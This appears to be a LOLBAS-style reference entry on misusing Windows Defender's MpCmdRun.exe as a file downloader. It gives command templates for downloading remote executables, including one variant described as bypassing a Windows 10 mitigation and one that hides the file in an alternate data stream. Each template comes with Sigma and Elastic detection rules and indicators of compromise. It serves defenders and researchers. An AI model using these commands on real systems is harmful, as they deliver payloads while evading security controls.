MpCmdRun.exe

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

Use Download file

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml

Elastic: github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml

IOC: MpCmdRun storing data into alternate data streams.

IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.

IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.

IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log

IOC: User Agent is "MpCommunication"

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus

twitter.com/mohammadaskar2/status/1301263551638761477

twitter.com/Oddvarmoe/status/1301444858910052352

twitter.com/NotMedic/status/1301506813242867720

lolbas-project.github.io/lolbas/Binaries/MpCmdRun/

Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.

Use Download file

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml

Elastic: github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml

IOC: MpCmdRun storing data into alternate data streams.

IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.

IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.

IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log

IOC: User Agent is "MpCommunication"

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus

twitter.com/mohammadaskar2/status/1301263551638761477

twitter.com/Oddvarmoe/status/1301444858910052352

twitter.com/NotMedic/status/1301506813242867720

lolbas-project.github.io/lolbas/Binaries/MpCmdRun/

Download file to machine and store it in Alternate Data Stream

Use Hide downloaded data into an Alternate Data Stream

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe

Context

user

Native

ADS

MITRE

T1564.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml

Elastic: github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml

IOC: MpCmdRun storing data into alternate data streams.

IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.

IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.

IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log

IOC: User Agent is "MpCommunication"

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus

twitter.com/mohammadaskar2/status/1301263551638761477

twitter.com/Oddvarmoe/status/1301444858910052352

twitter.com/NotMedic/status/1301506813242867720

lolbas-project.github.io/lolbas/Binaries/MpCmdRun/